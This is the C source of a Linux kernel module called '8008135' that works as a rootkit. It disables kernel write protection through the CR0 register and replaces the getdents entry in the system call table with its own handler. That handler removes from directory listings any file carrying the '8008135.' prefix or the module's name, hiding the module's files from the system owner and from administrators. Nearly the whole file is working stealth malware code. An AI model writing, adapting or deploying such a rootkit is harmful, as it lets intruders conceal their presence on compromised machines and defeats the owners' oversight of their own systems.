8008135/8008135.c

/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
/*
 * main.c
 * Copyright (C) 2019 
 * 
 * 8008135 is free software: you can redistribute it and/or modify it
 * under the terms of the GNU General Public License as published by the
 * Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 * 
 * 8008135 is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 * See the GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License along
 * with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/****  Includes  ***************************************************************
*******************************************************************************/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <asm/special_insns.h>
#include <linux/string.h>
#include <linux/fs.h>
#include "sysgen.h"


/****  Defines *****************************************************************
*******************************************************************************/

#define GETDENTS_SYSCALL_NUM	78
#define WRITE_PROTECT_FLAG		(1<<16)

#define HIDE_PREFIX				"8008135."
#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)

#define MODULE_NAME				"8008135"
#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)

/****  Modinfo  ****************************************************************
*******************************************************************************/

MODULE_LICENSE("GPLv3");             
MODULE_AUTHOR("JanKoernerEnterprises");
MODULE_DESCRIPTION("8008135");
MODULE_VERSION("0.1");

/****  type  *******************************************************************
*******************************************************************************/
struct linux_dirent {
	unsigned long	d_ino;
	unsigned long	d_off;
	unsigned short	d_reclen;  // d_reclen is the way to tell the length of this entry
	char		    d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
};

typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, 
                                          struct linux_dirent __user *dirent, 
                                          unsigned int count);

/****  var  ********************************************************************
*******************************************************************************/

sys_getdents_t sys_getdents_orig = NULL;

/***  FUNCTION  ****************************************************************
*          NAME:  sys_getdents_new
*   DESCRIPTION:  function overriding the original getdents
*    PARAMETERS:  -
*       RETURNS:  -
*******************************************************************************/
asmlinkage long sys_getdents_new(unsigned int fd, 
                                 struct linux_dirent __user *dirent, 
                                 unsigned int count) {
	int boff;
	struct linux_dirent* ent;

	long ret = sys_getdents_orig(fd, dirent, count);

	char* dbuf;
	
	if (ret <= 0) {
		return ret;
	}
	
	dbuf = (char*)dirent;

	// go through the entries, looking for one that has our prefix
	for (boff = 0; boff < ret;) {

		ent = (struct linux_dirent*)(dbuf + boff);

		// if it has hide prefix or module name anywhere, hide it
		if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
			          || (strstr(ent->d_name, MODULE_NAME) != NULL)) {
			
			// remove this entry by copying everything after it forward
			// and adjust the length reported
			memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, 
			       ret - (boff + ent->d_reclen));			
			ret -= ent->d_reclen;
		} else {
			// on to the next entry
			boff += ent->d_reclen;
		}
	}
	
	return ret;
}

/***  FUNCTION  ****************************************************************
*          NAME:  8008135_init
*   DESCRIPTION:  initializing Kernel Module
*    PARAMETERS:  -
*       RETURNS:  int
*******************************************************************************/
static int __init init_8008135(void) {
	printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table);
	
	// record the original getdents handler
	sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM];
	
	printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);

	// turn write protect off
	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
	
	// add our new handlers
	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;

	// turn write protect back on
	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);

	printk(KERN_INFO "New syscall in place\n");
	
	return 0;
}

/***  FUNCTION  ****************************************************************
*          NAME:  8008135_exit
*   DESCRIPTION:  unloading Kernel Module
*    PARAMETERS:  -
*       RETURNS:  -
*******************************************************************************/
static void __exit exit_8008135(void) {
	// allow us to write to read onlu pages
	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
	// set getdents handler back
	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
	// turn write protect back on
	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
	printk(KERN_INFO "Old syscall back\n");
}


// Setting pointers to init-/exit-functions 
module_init(init_8008135);
module_exit(exit_8008135);